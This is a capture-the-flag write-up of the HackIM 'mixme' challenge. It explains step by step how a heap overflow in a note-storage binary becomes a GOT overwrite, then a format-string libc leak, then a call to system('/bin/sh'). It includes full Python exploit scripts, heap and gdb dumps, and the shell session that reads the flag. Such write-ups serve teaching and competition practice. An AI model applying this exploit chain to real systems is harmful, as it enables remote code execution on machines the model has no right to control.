staring into /dev/null

barrebas

HackIM CTF - Mixme

mixme was a 400 points exploitation challenge of the NullCon HackIM ctf. We solved it with just 20 minutes on the clock!

When started, mixme present the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
==========================================
======== Uncle Podger's Data Store =======
==========================================

Select op (store/get/edit/exit): store
Name: a
Size: 4
Enter data: AAAA
Select op (store/get/edit/exit): get
Name: a
Size: 4
AAAASelect op (store/get/edit/exit): get
Name: a
Size: 4
Not found
Select op (store/get/edit/exit): Invalid input
Select op (store/get/edit/exit): 

Again, some kind of note storage. The binary was first reverse-engineered by superkojiman, who immediately noticed something odd: upon geting a note, the program erases the note by free()ing the memory and NULLing the first few bytes. The rest of the bytes were left intact. This led us to think about possible use-after-free scenarios. Turns out it was something different…

I started tinkering with the binary. I could store notes and get them back, but only if I supplied the right size. However, I noticed that I could edit a note with a larger value than was allocated. The heap looks like this after allocating three notes a, b and c with length 4 and contents AAAA, BBBB, and CCCC, respectively:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# allocated three notes, in heap:
0x8314000:    0x00000000  0x00000029  0x44414548  0x00000000
0x8314010:    0x00000000  0x00000000  0x00000000  0x00000000
0x8314020:    0x08314030  0x083140a0  0x00000000  0x00000029
0x8314030:    0x00000061  0x00000000  0x00000000  0x00000000
0x8314040:    0x00000004  0x08314058  0x08314068  0x08314008
0x8314050:    0x00000000  0x00000011  0x41414141  0x00000000
0x8314060:    0x00000000  0x00000029  0x00000062  0x00000000
0x8314070:    0x00000000  0x00000000  0x00000004  0x08314090
0x8314080:    0x083140a0  0x08314030  0x00000000  0x00000011
0x8314090:    0x42424242  0x00000000  0x00000000  0x00000029
0x83140a0:    0x00000063  0x00000000  0x00000000  0x00000000
0x83140b0:    0x00000004  0x083140c8  0x08314008  0x08314068
0x83140c0:    0x00000000  0x00000011  0x43434343  0x00000000
0x83140d0:    0x00000000  0x00020f31  0x00000000  0x00000000
0x83140e0:    0x00000000  0x00000000  0x00000000  0x00000000

At 0x8314030, we see the first note’s name, a. The zeroeth note is called HEAD and precedes our first note. Each note is contained within a struct, which contains pointers to the previous and next note (a doubly linked list). The meta-data for note a contains this pointer: 0x08314058, which points to the data associated with that note: AAAA. The meta-data for the note looks something like this:

1
2
3
4
5
6
7
note_info struct {
  char name[16];
  int length;
  char *content;
  note_info *next_note;
  note_info *prev_note;
};

This also is true for the next note, b, which is immediately after a in memory. We can overwrite the meta-data of note b by editing note a.

Overflowing the heap

If we supply 40 bytes when editing a and supplying forty times 0x41, we overwrite several parts of the meta-data of note b:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# after editing 'a' with 40 bytes where 4 is allocated:
0x8314000: 0x00000000  0x00000029  0x44414548  0x00000000
0x8314010: 0x00000000  0x00000000  0x00000000  0x00000000
0x8314020: 0x083140a0  0x083140a0  0x00000000  0x00000029
0x8314030: 0x00000061  0x00000000  0x00000000  0x00000000
0x8314040: 0x00000004  0x08314058  0x08314068  0x08314008
0x8314050: 0x00000000  0x00000011  0x41414141  0x41414141
0x8314060: 0x41414141  0x41414141  0x41414141  0x41414141
0x8314070: 0x41414141  0x41414141  0x41414141  0x41414141
0x8314080: 0x083140a0  0x08314008  0x00000000  0x00000011
0x8314090: 0x42424242  0x42424242  0x42424242  0x42424242
0x83140a0: 0x42424242  0x42424242  0x42424242  0x42424242
0x83140b0: 0x42424242  0x083140c8  0x08314008  0x08314008
0x83140c0: 0x00000000  0x00000011  0x43434343  0x00000000
0x83140d0: 0x00000000  0x00020f31  0x00000000  0x00000000
0x83140e0: 0x00000000  0x00000000  0x00000000  0x00000000

If we now try to get note b, the binary will segfault because the pointer to the note’s data is set to 0x41414141. We can use this to make note b point to free@got with a bit of python. The binary is started using socat to make it listen on a port.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# set 'a' with large buffer, overwriting meta-data of 'b':
0x8314000: 0x00000000  0x00000029  0x44414548  0x00000000
0x8314010: 0x00000000  0x00000000  0x00000000  0x00000000
0x8314020: 0x083140a0  0x083140a0  0x00000000  0x00000029
0x8314030: 0x00000061  0x00000000  0x00000000  0x00000000
0x8314040: 0x00000004  0x08314058  0x08314068  0x08314008
0x8314050: 0x00000000  0x00000011  0x41414141  0x41414141
0x8314060: 0x41414141  0x00000029  0x00000062  0x41414141
0x8314070: 0x41414141  0x41414141  0x00000024  0x08314090
0x8314080: 0x083140a0  0x08314008  0x00000000  0x00000011
0x8314090: 0x42424242  0x42424242  0x42424242  0x42424242
0x83140a0: 0x42424242  0x42424242  0x42424242  0x42424242
0x83140b0: 0x42424242  0x083140c8  0x08314008  0x08314008
0x83140c0: 0x00000000  0x00000011  0x43434343  0x00000000
0x83140d0: 0x00000000  0x00020f31  0x00000000  0x00000000
0x83140e0: 0x00000000  0x00000000  0x00000000  0x00000000

Notice that I’ve kept the bytes at 0x8314064 and 0x8314068 the same: 0x00000029 0x00000062. If these are overwritten, then the binary cannot find note b anymore, which effectively stops our attack! I overwrote the pointer to the data with 0x804b020. This is the pointer to free() in the Global Offset Table. Remember, after every get sent to the binary, free() is called. By overwriting the pointer to the note data, we can set any memory to arbitrary values with an edit b command to the binary!

Control of execution

I tested this hypothesis with the following python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import re
import string
import struct
import socket
import time
import telnetlib
import sys

def p(x):
  return struct.pack('<L', x)

# function to send commands to the binary
def z(sock, x):
  sock.send(x + '\n')
  time.sleep(0.01)
  data = sock.recv(200)
  time.sleep(0.01)
  return data

# connect to remote host
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 9005))

# receive banner
s.recv(512)

# ask the binary to store three notes
# we'll overflow a into b later on
z(s, "store")
z(s, "a")
z(s, "4")
z(s, "AAAA")

z(s, "store")
z(s, "b")
z(s, "4")
z(s, "BBBB")

z(s, "store")
z(s, "c")
z(s, "4")
z(s, "CCCC")

# edit a with a large value
# this overflows and overwrites the note_info struct of b
# the pointer to the data is overwriting with free@got
print "[+] overflowing a to set b to free@got"
z(s, 'edit')
z(s, 'a')
z(s, '40')
z(s, "A"*12+"\x29\x00\x00\x00\x62\x00\x00\x00"+"A"*12+p(4)+p(0x804b020))
#       ^ overflow    ^ restore 0x29, 'b'               ^ size of b ^ free@got

# overwrite free@got with printf
print "[+] replacing free() with printf()"
z(s, 'edit')
z(s, 'b')
z(s, '4')
z(s, 'BBBB')

z(s, 'get')
z(s, 'c')
z(s, '4')

This made the binary crash. The coredump reported the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#0  0x42424242 in ?? ()
gdb-peda$ i r
eax            0x843b0c8   0x843b0c8
ecx            0x843b0c8   0x843b0c8
edx            0x4 0x4
ebx            0xb779cff4  0xb779cff4
esp            0xbf95245c  0xbf95245c
ebp            0xbf952498  0xbf952498
esi            0x0 0x0
edi            0x0 0x0
eip            0x42424242  0x42424242
eflags         0x10207 [ CF PF IF RF ]
cs             0x73    0x73
ss             0x7b    0x7b
ds             0x7b    0x7b
es             0x7b    0x7b
fs             0x0 0x0
gs             0x33    0x33
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7636060 <system>
gdb-peda$ x/4x $esp
0xbf95245c:    0x08048bb8  0x0843b0c8  0x0843b0c8  0x00000004

gdb-peda$ x/4x $eax
0x843b0c8: 0x43434343  0x00000000

Bloody awesome! We not only have control over EIP, but also eax, ecx and the first argument on the stack point to memory that we control. This will come in handy later.

Turning the heap overflow into a format string vulnerability

With what should I overwrote the got pointer to free() though? I looked for ROP gadgets, but there weren’t enough to pivot the stack into the heap and spawn a shell, or open/read/write the flag to stdout. Furthermore, I assumed ASLR was enabled so I had to leak libc addresses first.

After thinking about it, I chose to overwrite free@got with printf@plt. This turns the heap overflow into a format string vulnerability! Maybe this is where the challenge name comes from…

After setting free@got to printf@plt, whenever I ask the binary to get a note, I can print whatever content is associated with that note (because free() is called with the pointer to the content of the note).

I examined the stack by supplying a format string consisting of a bunch of %x’s. Obviously, I couldn’t dig up my own format string from the stack, because the format string itself is on the heap!

What’s that gem?

Examining the stack, I dumped the following data:

1
2
# local binary
85850c8-122-b75c77b0-122-85850a0-85850a0-63... <snip>

That third address looks promising! It points into libc. Unfortunately, there’s a problem. Running the script against the server gave a different address:

1
2
3
# remote binary
83370c8-122-b75c0024-122-83370a0-83370a0-b7000063-... <snip>
936e0c8-122-b764a024-122-936e0a0-936e0a0-b7000063-... <snip>

We notice two things: ALSR is on and the remote binary seems to have a different libc than my local box (which was an Ubuntu 12.04 VM). I turned the format string into %3$s to find out which bytes were on the local and remote libc address. For the local binary, it returned 0x168bc085. For the remote binary, however, it returned 0x7501c083. These differences pointed towards different versions of libc. This was a nightmare! How am I supposed to find anything useful in libc without access to the specific library?

Finding the correct libc

I decided to try and identify the libc version. With less than 60 minutes to go, I went for it. If I had the right version of libc, I had everything to leak a libc address, add an offset to get system() and spawn a shell. I tried to nmap the remote server, which seemed too slow. However, ssh was enabled:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bas@tritonal:~/tmp/nullcon/mixme$ ssh test@54.163.248.69 -vvv
OpenSSH_6.0p1 Debian-4+deb7u2, OpenSSL 1.0.1e 11 Feb 2013
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: Applying options for *
debug2: ssh_connect: needpriv 0
debug1: Connecting to 54.163.248.69 [54.163.248.69] port 22.
debug1: Connection established.
debug1: identity file /home/bas/.ssh/id_rsa type -1
debug1: identity file /home/bas/.ssh/id_rsa-cert type -1
debug1: identity file /home/bas/.ssh/id_dsa type -1
debug1: identity file /home/bas/.ssh/id_dsa-cert type -1
debug1: identity file /home/bas/.ssh/id_ecdsa type -1
debug1: identity file /home/bas/.ssh/id_ecdsa-cert type -1
debug1: Remote protocol version 2.0, remote software version OpenSSH_6.6.1p1 Ubuntu-2ubuntu2
<snip>

Googling OpenSSH_6.6.1p1 Ubuntu-2ubuntu2 led me to believe that Ubuntu 14.04 was being run. I downloaded all the i386 libc version I could find, unpacked them and searched them for the bytes I just leaked:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
bas@tritonal:~/tmp/nullcon/mixme/libc$ for i in `ls`; do echo $i; echo; xxd $i | egrep '83.?c0.?01.?75'; echo; done


libc-2.15-0ubuntu10.9.so

0043740: 8934 24e8 f8f4 0200 83c0 0175 b0c7 8570  .4$........u...p
00460a0: 0000 0089 3424 e895 cb02 0083 c001 75bb  ....4$........u.
0046720: 0200 83c0 0175 80c7 8570 fbff ffff ffff  .....u...p......
0046810: 2cc4 0200 83c0 0175 a5c7 8570 fbff ffff  ,......u...p....
0046890: e8ab c302 0083 c001 75ac c785 70fb ffff  ........u...p...
0047320: 4424 04e8 18b9 0200 83c0 0175 80c7 8570  D$.........u...p
0047410: 0000 0089 3424 e825 b802 0083 c001 75a4  ....4$.%......u.
005a180: 83c0 0175 a4c7 85b0 efff ffff ffff ffe9  ...u............
005b410: 3424 e8f9 1001 0083 c001 75ae c785 b0ef  4$........u.....
005c370: 0089 3424 e897 0101 0083 c001 7580 c785  ..4$........u...
00674c0: 0a00 0000 8904 24e8 74b7 0000 83c0 0175  ......$.t......u

libc-2.16-0ubuntu6.so

0047b50: 83c0 0175 a8e9 97bf ffff 81e1 ff00 0000  ...u............
005ad90: 0083 c001 75b9 e95b ccff ff8b 4d10 8b45  ....u..[....M..E
0066ab0: 7cb4 0000 83c0 0175 918d b426 0000 0000  |......u...&....

libc-2.19-0ubuntu6.4.so

00471c0: 0489 3424 e817 9e02 0083 c001 758a e9d1  ..4$........u...
0047920: 24e8 ba96 0200 83c0 0175 c5e9 74c2 ffff  $........u..t...
005a850: 8904 24e8 d801 0100 83c0 0175 b8e9 04cc  ..$........u....
005b3a0: 83c0 0175 c9e9 bcc0 ffff a810 8d74 2600  ...u.........t&.
0066020: bcaf 0000 83c0 0175 988d b426 0000 0000  .......u...&....

libc-2.19-13ubuntu3.so

00472a0: 0489 3424 e877 9c02 0083 c001 758a e9d1  ..4$.w......u...
0047a00: 0000 8934 24e8 1695 0200 83c0 0175 c5e9  ...4$........u..
0050e40: 8904 24e8 6879 0100 83c0 0175 b8e9 04cc  ..$.hy.....u....
0051990: 83c0 0175 c9e9 bcc0 ffff a810 8d74 2600  ...u.........t&.
0066100: 1cae 0000 83c0 0175 988d b426 0000 0000  .......u...&....

I struck gold with libc-2.19-0ubuntu6.4.so:

1
0066020: bcaf 0000 83c0 0175 988d b426 0000 0000  .......u...&....

Those bytes (0x7501c083) where at an offset of xxxx6024 in the binary, which looked very much like the third address on the stack dumped from the remote binary. This had to be the right libc version! I loaded up the binary on my Ubuntu VM with libc-2.19-0ubuntu6.4.so:

1
LD_PRELOAD=./libc-2.19-0ubuntu6.14.so ./mixme

and attached gdb to dump the address of system(). Using the aforementioned value from the stack, I calculated the offset to system(). I quickly modified my script to include this, overwriting free@got with system(). When I now made a note with the value /bin/sh and asked the binary to get that note, it wants to free() it. However, free@got is replaced with system(), effectively making the binary call system('/bin/sh');!

So, in true dirty-ctf-style, the following python script was written after hours of frantic tracing with gdb and coding in python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import re
import string
import struct
import socket
import time
import telnetlib
import sys

def p(x):
  return struct.pack('<L', x)

# function to send commands to the binary
def z(sock, x):
  sock.send(x + '\n')
  time.sleep(0.01)
  data = sock.recv(200)
  time.sleep(0.01)
  return data

# connect to remote host
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.163.248.69', 9005))

# receive banner
s.recv(512)

# ask the binary to store three notes
# we'll overflow a into b later on
z(s, "store")
z(s, "a")
z(s, "4")
z(s, "AAAA")

z(s, "store")
z(s, "b")
z(s, "4")
z(s, "BBBB")

# the third note will hold our format string
z(s, "store")
z(s, "c")
format_str = "--%3$x"
z(s, str(len(format_str)))
z(s, format_str)

# edit a with a large value
# this overflows and overwrites the note_info struct of b
# the pointer to the data is overwriting with free@got
print "[+] overflowing a to set b to free@got"
z(s, 'edit')
z(s, 'a')
z(s, '40')
z(s, "A"*12+"\x29\x00\x00\x00\x62\x00\x00\x00"+"A"*12+p(4)+p(0x804b020))
#       ^ overflow    ^ restore 0x29, 'b'               ^ size of b ^ free@got

# overwrite free@got with printf
print "[+] replacing free() with printf()"
z(s, 'edit')
z(s, 'b')
z(s, '4')
z(s, p(0x080485f0))  # free@got overwritten with printf

# now 'get' c and trigger the format string vulnerability
print "[+] triggering format string"
z(s, "get")
z(s, "c")
data = z(s, str(len(format_str)))
time.sleep(0.1)

# this proved to be a bit finicky:
data += s.recv(256)
data += s.recv(256)

print data
# grab leaked libc address
m = re.findall(r'x--(.*)cSel', data)
if m:
  print m
  leak = "0x"+m[0]
  leak_hex = int(leak, 16)
  print "[+] found first addr: {}".format(hex(leak_hex))
  system = leak_hex - 155428
  print "[+] system @ {}".format(hex(system))

# repeat the same trick, but this time, overwrite free@got with system()
# first note contains /bin/sh, used as argument for system()
z(s, "store")
z(s, "sh")
z(s, "7")
z(s, "/bin/sh")

z(s, "store")
z(s, "t")
z(s, "4")
z(s, "TTTT")

z(s, "store")
z(s, "q")
z(s, "4")
z(s, "QQQQ")

print "[+] overflowing t to set q to free@got"
z(s, 'edit')
z(s, 't')
z(s, '40')
z(s, "A"*12+"\x29\x00\x00\x00\x71\x00\x00\x00"+"A"*12+p(4)+p(0x804b020))
#     ^ overflow              ^ restore 'q'           ^ size of q  ^ free@got

print "[+] replacing free() with system()"
z(s, 'edit')
z(s, 'q')
z(s, '4')
z(s, p(system))     # free@got overwritten with system

# trigger system('/bin/sh')
z(s, 'get')
z(s, 'sh')  # this note contains '/bin/sh' and those contents are passed to system()
z(s, '7')

# shell spawned, interact with it!
t=telnetlib.Telnet()
t.sock=s
t.interact()

s.close()

I ran it, and to my surprise, I got it right the first time! I dropped into a shell on the remote box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@ubuntu-VirtualBox:/home/ubuntu/nullcon/mixme# python exploit.py
[+] overflowing a to set b to free@got
[+] replacing free() with printf()
[+] triggering format string
Name: Size: --%3$x--b768d024cSelect op (store/get/edit/exit):
['b768d024']
[+] found first addr: 0xb768d024L
[+] system @ 0xb7667100L
[+] overflowing t to set q to free@got
[+] replacing free() with system()
/bin/sh
id
uid=1005 gid=1005 groups=0
cat flag.txt
aw3s0m3++_hipp1e_pwn_r0ckst4r

The flag was aw3s0m3++_hipp1e_pwn_r0ckst4r. This one was really though and I’m glad I managed to beat it with just 20 minutes left for the ctf!

Comments